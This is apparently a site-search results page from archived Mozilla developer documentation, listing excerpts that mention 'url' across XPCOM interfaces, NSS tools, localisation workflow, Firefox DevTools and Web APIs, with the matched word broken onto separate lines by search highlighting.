to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_
url.js'); this will create a new chrome worker that will immediately begin to run the script at the specified
url (in this case, "script_
url.js").
... for example, "script_
url.js" can be "chrome://extension_name/content/script.js".
Application Translation with Mercurial
for aurora and german (language code 'de'), it is http://hg.mozilla.org/releases/l10n/mozilla-aurora/de/ copy that
url to the clipboard.
... on windows, you can paste the
url by calling the paste command from the window menu in the upper left corner of the window.
Bootstrapping a new locale
after your new bit bucket repository is created by the l10n-drivers, please visit the
url for your repo.
... you can do this by entering the following
url into your browser: $ https://bitbucket.org/mozillal10n/ab-cd/overview/ (where ab-cd will be replaced by your locale code) at that main page of your newly created bit bucket repo, you'll see the hg commands, $ hg clone http://bitbucket.org/mozillal10n/ab-cd/ ...
Release phase
depending on which branch you work on, the
url of your repository might look like this: http://hg.mozilla.org/releases/l10n-central/x-testing if you followed the koala or plain text approach, you probably already have a local clone of the repository.
...g clone ssh://hg.mozilla.org/releases/l10n-central/x-testing mercurial will let you know that it's cloning the repository: destination directory: x-testing requesting all changes adding changesets adding manifests adding file changes added 4 changesets with 242 changes to 239 files updating to branch default 239 files updated, 0 files merged, 0 files removed, 0 files unresolved the default push
url is the same as the default pull
url (i.e., ssh://hg.mozilla.org/releases/l10n-central/x-testing).
Fonts for Mozilla 2.0's MathML engine
to do this, enter the
url "about:config", "filter" for "mathfont", and "reset" to the default value through the context menu on the preference.
...finally, include the mathml-fonts/resource/mathml.css style sheet in your web pages, for example by adding the following rule to the default style sheet of your web site: @import
url('/path/to/resource/mathml.css'); browsers have default font-families in their user agent stylesheets.
Mozilla Web Services Security Model
the from attribute otherwise gives a
url to match, which may contain up to two asterisks (*) that match any characters in the
url.
... the match is done against a
url from which the directory and file have been removed, so trying to match a specific page will cause the entire match to fail.
Mozilla Quirks Mode Behavior
(bug 915053) an empty string for the background attribute sets the background
url to empty only in quirks mode.
... in quirks mode, the
url fragment #top scrolls to the top of the page when there is no such anchor.
Patches and pushes
<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<
url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}" />*** <
url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </
url> <searchform>http://search.yahoo...
...for example: hg ci -m "bug 654321, copied the comment from the doc without reading, r=nobody" path-to-changed-files close the bug, copying the
url to your change in the closing comment.
A guide to searching crash reports
when a search is performed, the page's
url is updated to include the search parameters.
... this means that the results of any search can be easily shared by copying and pasting the page's
url.
AsyncTestUtils extended framework
if you have the following types of listeners you can use the following pre-defined helpers: nsi
urllistener: async
urllistener (predefined).
... if you need to wrap an existing
url listener or need a callback or fancy promise, create an instance of async
urllistener.
Midas editor module security preferences
add these lines to user.js: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); change the
url https://www.mozilla.org to the site for which you want to enable this function.
...if you want to allow multiple
urls to access the paste operation, separate the
urls with a space.
Midas
if there is a selection, a link will be inserted around the selection with the
url parameter as the href of the link.
... this command will insert an image (referenced by the given
url) at the insertion point.
NSS Developer Tutorial
c
urly braces: both of the following styles are allowed: if (condition) { action1(); } else { action2(); } or: if (condition) { action1(); } else { action2(); } the former style is more common.
... when a block of code consists of a single statement, nss doesn’t require c
urly braces, so both of these examples are fine: if (condition) { action(); } or: if (condition) action(); although the use of c
urly braces is more common.
Notes on TLS - SSL 3.0 Intolerant Servers
to do so, add http://toolbar.netcraft.com/site_report?
url= to the beginning of the
url.
... add the information on such a server (software,
url) to bug 59321 at bugzilla.
NSS tools : certutil
this extension identifies the
url of a certificate's associated certificate revocation list (crl).
... certutil prompts for the
url.
OLD SSL Reference
cipherpolicyget ssl configuration functions ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ssl_configsecureserver ssl_set
url ssl_setpkcs11pinarg callback configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecal...
...ck ssl communication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_reveal
url ssl_revealpinarg ssl handshake functions ssl_forcehandshake ssl_rehandshake ssl_resethandshake nss shutdown function nss_shutdown deprecated functions ssl_enabledefault ...
NSS Tools certutil
this extension identifies the
url of a certificate's associated certificate revocation list (crl).
... the certificate database tool prompts you to enter the
url.
NSS Tools crlutil
this option is obsolete -u
url specify the
url.
... -g|-m -c crl-gen-file -n nickname [-i crl] [-u
url] [-d keydir] [-p dbprefix] [-l alg] [-a] [-b] -l [-n crl-name] [-d krydir] crlutil -d -n nickname [-d keydir] [-p dbprefix] crlutil -e [-d keydir] [-p dbprefix] crlutil -i -i crl [-t crltype] [-u
url] [-d keydir] [-p dbprefix] [-b] creating or modifying a crl: listing all crls or a named crl: deleting crl from db: erasing crls from db: import crl from ...
certutil
this extension identifies the
url of a certificate's associated certificate revocation list (crl).
... certutil prompts for the
url.
Necko Interfaces Overview
nsiioservice central necko service manages protocol handlers thin layer over protocol handlers provides interface for creating uri objects from uri strings maps uri scheme to appropriate nsiprotocolhandler impl nsiuri (nsi
url, nsifile
url, nsistandard
url) represents an uri, with getters and setters for various uri parts (eg.
... scheme, host, path, ...) per protocol implementation necko provides uri impl's for common uri formats (see nsstandard
url, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie.
Rhino overview
these features allow for the implementation of a traditional
url-based security policy for javascript as in netscape navigator.
...in a typical client embedding, this object might be a string with the
url of the server that supplied the script, or an object that contains a representation of the signers of a piece of code for certificate-based security policies.
JSErrorReport
syntax jserrorreport(); properties name type description filename const char * indicates the source file or
url that produced the error condition.
...in the event of an error, filename will either contain the name of the external source file or
url containing the script (script src=) or null, indicating that a script embedded in the current html page caused the error.
SpiderMonkey 24
— dec 16, 2013 the download
url still available, but spidermonkey not release alone!
... get it here mozilla-esr24 if the download
url is outdate you will find it in "firefox extended support release 24" package on hg release platform support spidermonkey 24 is supported on all the platforms where firefox 24 runs.
TPS Password Lists
for example: var password_list = [ { hostname: "http://www.example.com", submit
url: "http://login.example.com", username: "joe", password: "secret123", usernamefield: "uname", passwordfield: "pword", changes: { password: "zippity-do-dah" } }, { hostname: "http://www.example.com", realm: "login", username: "joe", password: "secretlogin" } ]; each object has the following properties: hostname: the hostname for the password.
...submit
url: the submit
url for the password.
Redis Tips
keyspace design here are some things i keep in mind when creating keys: keys are like
urls and should read like nice
urls keys are like
urls with paths separated by a colon, ':' (this is convention only) use a common prefix for all keys in your app (like a domain) be careful about possible name collisions key names should make it obvious what the values are for redis data structures are like program variables; how would you structure your data types in your program?
... in the case where you want to do something akin to a join, like, say, associate an email and a remote
url to store a browserid assertion, just make a new key.
History Service Design
objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with
urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views.
... storing pages and visits pages (intended as uris) are stored into a table shared by both history and bookmarks, every
url is unique in this table and is associated with a place id, commonly used as the foreign key on other tables.
Using XPCOM Utilities to Make Things Easier
// in idl: method(in acstring thing); char* str = "how now brown cow?"; nsembedcstring data(str); rv = object->method(data); in this next example, the method is going to set the value of the string - as it might need to do when it returns the name of the current user or the last viewed
url.
... // in idl: attribute acstring data; nsembedcstring data; method->getdata(data); // now to extract the data from the
url class: const char* astring
url =
url.get(); note that the memory pointed to by astring
url after the call to
url.get() is owned by the
url string object.
Mozilla internal string guide
// modify the
url and pass to addpage(const char16_t*
url) void addmodifiedpage(const nsastring&
url) { constexpr auto httpprefix = u"http://"_ns; const nsastring& modified
url = httpprefix +
url; // creates a temporary buffer addpage(promiseflatstring(modified
url).get()); } promiseflatstring() is smart when handed a string that is already null-terminated.
... // modify the
url and pass to addpage(const char16_t*
url) void addmodifiedpage(const nsastring&
url, prbool addprefix) { if (addprefix) { // must create a temporary buffer - string is multi-fragmented constexpr auto httpprefix = u"http://"_ns; addpage(promiseflatstring(httpprefix + modified
url)); } else { // might create a temporary buffer, does a runtime check addpage(promiseflatstring(
url).get()); } } printf and a utf-16 string for debugging, it's useful to printf a utf-16 string (nsstring, nsautostring, etc).
Components.utils.evalInSandbox
any exceptions raised by the evaluated code will show as originating from the above
url.
... the evaluated code is assumed to start at line 25 of the document at that
url.
Components.utils.unload
syntax components.utils.unload(
url ); parameters
url the "resource://"
url of the script to unload.
... this must be the same
url that was used to load the script.
amIInstallCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oninstallended(in astring a
url, in print32 astatus); methods oninstallended() called when an install completes or fails.
... void oninstallended( in astring a
url, in print32 astatus ); parameters a
url the
url of the add-on being installed.
mozIPlacesAutoComplete
behavior_
url 1 << 4 search the
url of pages.
... behavior_javascript 1 << 6 search javascript:
urls.
nsICachingChannel
support for uniquely identifying cached data in cases when the
url is insufficient.
...this flag can be used to find out whether fetching this
url would cause validation of the cache entry via the network.
nsIConsoleService
asourcename — the
url for a file associated with an error.
... this will be a hyperlink in the error console, so you'd better use real
url.
nsIContentPrefService2
domains may be specified either exactly, like "example.com", or as full
urls, like "http://example.com/foo/bar".
... in the latter case the api extracts the full domain from the
url, so if you specify "http://foo.bar.example.com/baz", the domain is taken to be "foo.bar.example.com", not "example.com".
nsIDOMWindowUtils
query_content_flag_selection_
urlsecondary 0x0200 one of values of aadditionalflags of sendquerycontentevent().
... query_content_flag_selection_
urlstrikeout 0x0400 one of values of aadditionalflags of sendquerycontentevent().
nsIEditorMailSupport
acitation the "mid"
url of the source message.
...void inserttextwithquotations( in domstring astringtoinsert ); parameters astringtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long aselectiontype ); parameters acitation the "mid"
url of the source message.
nsIFilePicker
file
url nsiuri the uri of the currently selected file or directory.
... filterallow
urls 0x80 allow
urls.
nsIHttpChannel
ult; indicates not to pass on the referrer when downgrading from https to http referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_
url always send the referrer, even when downgrading from https to http attributes attribute type description allowpipelining boolean this attribute is a hint to the channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions.
... note: the channel may silently refuse to set the referer: header if the uri does not pass certain security checks (e.g., a "https://"
url will never be sent as the referrer for a plaintext http request).
nsIMicrosummaryGenerator
for generators referenced by web pages via <link> tags, this uri is the
url specified by the tag.
... for generators installed via nsisidebar.addmicrosummarygenerator(), this uri is a urn of the form urn:source:<
url>, where <
url> is the remote location from which we installed the generator.
nsIParserUtils
sanitizercidembedsonly (1 << 2) flag for sanitizer: only allow cid:
urls for embedded content.
... baseuri the base
url for this fragment.
nsIScriptError2
sourcename the
url of the file in which the error occurred.
... this will be a hyperlink in the javascript console, so you should use a real
url.
nsIStringBundleService
to access this service, use: var stringbundleservice = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice); method overview nsistringbundle createbundle(in string a
urlspec); nsistringbundle createextensiblebundle(in string aregistrykey); void flushbundles(); wstring formatstatusmessage(in nsresult astatus, in wstring astatusarg); methods createbundle() nsistringbundle createbundle( in string a
urlspec ); parameters a
urlspec the
url of the properties file to load.
... this is typically a locale
url, e.g.
nsIUpdatePatch
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsidomelement serialize(in nsidomdocument updates); attributes attribute type description final
url astring the final
url this patch was being downloaded from.
...
url astring the
url from which the patch was downloaded.
nsIWorkerFactory
to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method overview nsiworker newchromeworker(in domstring ascript
url); methods newchromeworker() returns a new chromeworker that will run a specified script.
... nsiworker newchromeworker( in domstring ascript
url ); parameters ascript
url the
url of the script to load into the new worker.
XPCOM Interface Reference by grouping
accessiblerole nsiaccessiblescrolltype nsiaccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice
url nsiuri nsi
url util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidownload nsidownloadmanager nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsi...
... nsibinaryinputstream nsibinaryoutputstream nsicontentsniffer nsiconverterinputstream nsifileinputstream nsifileoutputstream nsiinputstream nsiinputstreamcallback nsioutputstream nsioutputstreamcallback nsiscriptableinputstream nsistreamlistener
url nsiioservice nsistandard
url user nsiprompt nsipromptservice zipfile nsizipentry nsizipreader nsizipreadercache nsizipwriter file nsifilepicker nsifileprotocolhandler ...
Using the clipboard
for other types of data, such as
urls or images, you will need to use a more complex method.
... function copylinktoclipboard(copy
url, copylabel, sourcewindow) { // generate the unicode and html versions of the link var textunicode = copy
url; var texthtml = copylabel.link(copy
url); // add unicode & html flavors to the transferable widget var trans = transferable(sourcewindow); trans.adddataflavor("text/unicode"); trans.settransferdata("text/unicode", supportsstring(textunicode), textunicode.length ...
Index
it consists of nsmailboxservice, nsmailbox
url, and nsmailboxprotocol.
... this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running
urls, getting onstart/stoprunning
url notifications when the
url starts/stops, etc.
MailNews Filters
for imap, we tend to initiate the
urls synchronously, but because we don't run two
urls simultaneously on the same folder, the
urls don't run until we've finished downloading headers.
... we also coalesce moves to the same destination folder, so that we can do them in one
url/command to the server, and we playback those moves when the header download is done.
Mail client architecture overview
events - as data changes throughout the mail application, the event system notifies key components such as datasources and the
url system of these changes.
...
url display and dispatching - in order to perform network operations such as downloading new mail, copying and moving messages, and displaying messages from a remote server, the
url system interacts with necko and reflects it's state to the mail window.
Mail composition back end
const struct nsmsgattachmentdata *attachments, - subsequent attachments are provided as
urls to load, described in the nsmsgattachmentdata structures.
...this will contain all of the relevant header information for message delivery nsiuri *
url, - the uri of the message composition fields.
Mailbox
it consists of nsmailboxservice, nsmailbox
url, and nsmailboxprotocol.
... this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running
urls, getting onstart/stoprunning
url notifications when the
url starts/stops, etc.
Theme Packaging
see the install.rdf reference for more information: em:id em:version em:type em:targetapplication em:name em:internalname optional install.rdf properties em:description em:creator em:contributor em:homepage
url em:update
url note that if your theme will be made available on the https://addons.mozilla.org website, it may not include an update
url.
...-9b0e-13a3a9e97384}</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>0.9</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>new theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepage
url>http://www.bengoodger.com/</em:homepage
url> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the following are some common target application guids that you can use in your targetapplication properties: thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} ...
Using popup notifications
you can use this to style the icon, like this: .popup-notification-icon[popupid="sample-popup"] { list-style-image:
url("chrome://popupnotifications/skin/mozlogo.png"); } with this css in place, the result is the look we want: adding secondary options to provide options in the drop-down menu, add an array of notification actions to the call to the show() method, like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* ancho...
...cation = notify.show( // browser gbrowser.selectedbrowser, // popup id "pdes-popup", // message "hi, there!, i'm gonna show you something today!!", // anchor id null, // main action { label: "click here", accesskey: "d", callback: function() { // you can call your function here } }, // secondary action null, // options { // alternative way to set the popup icon popupicon
url: "chrome://popupnotifications/skin/mozlogo.png" } ); settimeout(function(){ notification.remove(); }, 900); // time in milliseconds to disappear the door-hanger popup.
Using the Mozilla symbol server
the official symbol server
url for firefox is https://symbols.mozilla.org/.
... you cannot visit this
url directly: you must add it to the symbol path of your debugging tool.
Using js-ctypes
ar libcf = ctypes.open('/system/library/frameworks/corefoundation.framework/corefoundation'); // define types var cfindex = ctypes.long; var cfoptionflags = ctypes.unsigned_long; var cftimeinterval = ctypes.double; var cftyperef = ctypes.voidptr_t; var sint32 = ctypes.long; var void = ctypes.void_t; var __cfstring = new ctypes.structtype("__cfstring"); var cfstringref = __cfstring.ptr; var __cf
url = new ctypes.structtype("__cf
url"); var cf
urlref = __cf
url.ptr; var __cfallocator = new ctypes.structtype("__cfallocator"); var cfallocatorref = __cfallocator.ptr; var unichar = ctypes.jschar; // uint16 with automatic conversion // define constants var kcfusernotificationstopalertlevel = 0; var kcfusernotificationnotealertlevel = 1; var kcfusernotificationcautionalertlevel = 2; var kcfuserno...
...tificationplainalertlevel = 3; // declare functions /* https://developer.apple.com/library/mac/documentation/corefoundation/reference/cfusernotificationref/index.html#//apple_ref/c/func/cfusernotificationdisplaynotice * sint32 cfusernotificationdisplaynotice ( * cftimeinterval timeout, * cfoptionflags flags, * cf
urlref icon
url, * cf
urlref sound
url, * cf
urlref localization
url, * cfstringref alertheader, * cfstringref alertmessage, * cfstringref defaultbuttontitle * ); */ var cfusernotificationdisplaynotice = libcf.declare("cfusernotificationdisplaynotice", ctypes.default_abi, sint32, // return cftimeinterval, // timeout cfoptionflags, // flags cf
urlref, // icon
url cf
urlref, // sound
url cf
urlref, // localization
url cfstringref, // alertheader cfst...
Streams - Plugins
streams are objects that represent
urls and the data they contain, or data sent by a plug-in without an associated
url.
... note: a plug-in can also use the npn_get
url method to request a stream for an arbitrary
url.
Version, UI, and Status Information - Plugins
displaying a status line message users are accustomed to checking the ui status line at the bottom of the browser window for updates on the progress of an operation or the
url of a link on the page.
...the user might appreciate seeing the percentage completed of the current operation or the
url of a button or other link object when the cursor is over it, all of which the browser shows.
DOM Inspector FAQ - Firefox Developer Tools
inspect a
url this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a
url.
...these can include chrome documents, but it's not suggested that you inspect xul documents by directly inspecting them via
url, since some behavior may rely on the document being contained in another xul document, or the converse, where it won't behave correctly because it doesn't expect to be loaded as a framed document.
Use a source map - Firefox Developer Tools
the comment's syntax is like this: //# sourcemapping
url=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html.
...the compiled source contains a comment like this, that points to a source map: //# sourcemapping
url=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source.
Source map errors - Firefox Developer Tools
this message will show an error message, the resource
url, and the source map
url: here, the resource
url tells us that bundle.js mentions a source map, and the source map
url tells us where to find the source map data (in this case, relative to the resource).
... ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually change the map
url to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port.
Index - Firefox Developer Tools
if you open a json file in the browser, or view a remote
url with the content-type set to application/json, it is parsed and given syntax highlighting.
...you can break on all requests or on those that include a specific
url.
Network request details - Firefox Developer Tools
edit and resend: enables an editing mode, where you can modify the method,
url, request headers, or request body of the request.
... request information the following information is shown only when the section is expanded: scheme: the scheme used in the
url host: the server involved in the request filename: the full path to the file requested address: the ip address of the host the following information is shown in both the collapsed and the expanded states: status: the http response code for the request.
Edit fonts - Firefox Developer Tools
the
url to the font file in the case of web fonts not available on your system, or "system" in the case of fonts loaded from your computer (either default system fonts, or web fonts that you've also got installed on your system).
... you can copy the
url to the font file by clicking on the icon to the right of the
url.
Console messages - Firefox Developer Tools
the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the
url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again.
... open
url in new tab opens the
url in a new browser tab.
Web Console Helpers - Firefox Developer Tools
:block (starting in firefox 80) followed by an unquoted string, blocks requests where the
url contains that string.
... :unblock (starting in firefox 80) followed by an unquoted string, removes blocking for
urls containing that string.
AudioContext.createMediaStreamDestination() - Web APIs
after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a
url created from the blob.
... var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); document.queryselector("audio").src =
url.createobject
url(blob); }; </script> </body> </html> note: you can view this example live, or study the source code, on github.
AuthenticatorResponse.clientDataJSON - Web APIs
challenge the base64
url encoded version of the cryptographic challenge sent from the relying party's server.
...it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64
url encoding of the token binding id which was used for the communication.
Beacon API - Web APIs
the method takes two arguments, the
url and the data to send in the request.
...the method takes two arguments, the
url and the data to send in the request.
Body.bodyUsed - Web APIs
when the fetch is successful, we read a blob out of the response using blob(), put it into an object
url using
url.createobject
url, and then set that
url as the source of an <img> element to display the image.
...image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var object
url =
url.createobject
url(response); myimage.src = object
url; }); specifications specification status comment fetchthe definition of 'bodyused' in that specification.
CSSImageValue - Web APIs
the cssimagevalue object represents an <image> that involves an
url, such as
url() or image(), but not linear-gradient() or element() .
... examples we create an element <button>magic wand</button> we add some css, including a background image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px; background: no-repeat 5% center
url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map.
Compositing example - Web APIs
function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.background = "
url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.textcont...
... proto.fillrect(0, 0, size, size); proto.fillstyle = color2; // top-right proto.fillrect(size, 0, size, size); proto.fillstyle = color2; // bottom-left proto.fillrect(0, size, size, size); proto.fillstyle = color1; // bottom-right proto.fillrect(size, size, size, size); var pattern = proto.createpattern(proto.canvas, "repeat"); pattern.data = proto.canvas.todata
url(); return pattern; }; var op_8x8 = createinterlace(8, "#fff", "#eee"); ...
Clients - Web APIs
clients.openwindow() opens a new browser window for a given
url and returns a promise for the new windowclient.
... addeventlistener('notificationclick', event => { event.waituntil(async function() { const allclients = await clients.matchall({ includeuncontrolled: true }); let chatclient; // let's see if we already have a chat window open: for (const client of allclients) { const
url = new
url(client.
url); if (
url.pathname == '/chat/') { // excellent, let's use it!
ContentIndex - Web APIs
// our content const item = { id: 'post-1',
url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serv...
...readinglistelem.append(message); } else { // if entries are present, display in a list of links to the content const listelem = document.createelement('ul'); for (const entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.
url); listelem.append(listitem); } readinglistelem.append(listelem); } } unregistering indexed content below is an asynchronous function, that removes an item from the content index.
CredentialsContainer.create() - Web APIs
name: optional usvstring tbd icon
url: optional usvstring tbd password: (required) usvstring tbd federated: optional an federatedcredentialinit object.
... name: optional usvstring tbd icon
url: optional usvstring tbd provider: (required) usvstring tbd protocol: optional usvstring tbd publickey: optional an publickeycredentialcreationoptions object that describes the options for creating a webauthn credential.
DOMException - Web APIs
(legacy code value: 20 and legacy constant name: abort_err)
urlmismatcherror the given
url does not match another
url.
... (legacy code value: 21 and legacy constant name:
url_mismatch_err) quotaexceedederror the quota has been exceeded.
Document.createExpression() - Web APIs
syntax xpathexpr = document.createexpression(xpathtext, namespace
urlmapper); parameters xpathtext is a string which is the xpath expression to be compiled.
... namespace
urlmapper is a function which maps a namespace prefix to a namespace
url (or null if none needed).
Document.execCommand() - Web APIs
for example, insertimage requires the
url of the image to insert.
...requires a
url string for the image's src as a value argument.
Document.location - Web APIs
the document.location read-only property returns a location object, which contains information about the
url of the document and provides methods for changing that
url and loading another
url.
... to retrieve just the
url as a string, the read-only document.
url property can also be used.
Document - Web APIs
it provides functionality globally to the document, like how to obtain the page's
url and create new elements in the document.
... document.
urlread only returns the document location as a string.
EventSource - Web APIs
constructor eventsource() creates a new eventsource to handle receiving server-sent events from a specified
url, optionally in credentials mode.
... eventsource.
url read only a domstring representing the
url of the source.
ExtendableEvent - Web APIs
var cache_version = 1; var current_caches = { prefetch: 'prefetch-cache-v' + cache_version }; self.addeventlistener('install', function(event) { var
urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event.
... resources to pre-fetch:',
urlstoprefetch); event.waituntil( caches.open(current_caches['prefetch']).then(function(cache) { return cache.addall(
urlstoprefetch.map(function(
urltoprefetch) { return new request(
urltoprefetch, {mode: 'no-cors'}); })).then(function() { console.log('all resources have been fetched and cached.'); }); }).catch(function(error) { console.error('pre-fetching failed:', error); }) ); }); important: when fetching resources, it's very important to use {mode: 'no-cors'} if there is any chance that the resources are served off of a server that doesn't support cors.
FetchEvent.request - Web APIs
this promise resolves to the first matching
url request in the cache object.
... self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache.
File - Web APIs
in particular, filereader,
url.createobject
url(), createimagebitmap(), and xmlhttprequest.send() accept both blobs and files.
... file.prototype.webkitrelativepath read only returns the path the
url of the file is relative to.
FileError - Web APIs
constant value description encoding_err 5 the
url is malformed.
... make sure that the
url is complete and valid.
FileException - Web APIs
constant value description encoding_err 5 the
url is malformed.
... make sure that the
url is complete and valid.
FileReaderSync - Web APIs
filereadersync.readasdata
url() this method converts a specified blob or a file into a domstring representing the input data as a data
url.
... yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yesreadasdata
urlchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support yessafari full support yesw...
File and Directory Entries API - Web APIs
they're available on the window object and implemented in localfilesystem: requestfilesystem() and resolvelocalfilesystem
url().
...they're available on the worker object and implemented in localfilesystemsync: requestfilesystemsync() and resolvelocalfilesystemsync
url().
FontFace.FontFace() - Web APIs
this can be either: a
url binary font data descriptors optional a set of optional descriptors passed as an object.
... it can have the following keys: family: family style: style weight: weight stretch: stretch unicoderange: unicode range variant: variant featuresettings: feature settings example async function loadfonts() { const font = new fontface('myfont', '
url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } specifications specification status comment css font loading module level 3the definition of 'fontface constructor' in that specification.
FontFace - Web APIs
it allows control of the source of the font face, being a
url to an external resource, or a buffer; it also allows control of when the font face is loaded and its current status.
... constructor fontface() constructs and returns a new fontface object, built from an external resource described by an
url or from an arraybuffer.
GlobalEventHandlers.onerror - Web APIs
source:
url of the script where the error was raised (string) lineno: line number where error was raised (number) colno: column number for the line where the error occurred (number) error: error object (object) when the function returns true, this prevents the firing of the default event handler.
... window.onerror = function (msg,
url, lineno, columnno, error) { var string = msg.tolowercase(); var substring = "script error"; if (string.indexof(substring) > -1){ alert('script error: see browser console for detail'); } else { var message = [ 'message: ' + msg, '
url: ' +
url, 'line: ' + lineno, 'column: ' + columnno, 'error object: ' + json.stringify(error) ].join(' - '); ale...
HTMLCanvasElement.toBlob() - Web APIs
var canvas = document.getelementbyid('canvas'); canvas.toblob(function(blob) { var newimg = document.createelement('img'),
url =
url.createobject
url(blob); newimg.onload = function() { // no longer need to read the blob so it's revoked
url.revokeobject
url(
url); }; newimg.src =
url; document.body.appendchild(newimg); }); note that here we're creating a png image; if you add a second parameter to the toblob() call, you can specify the image type.
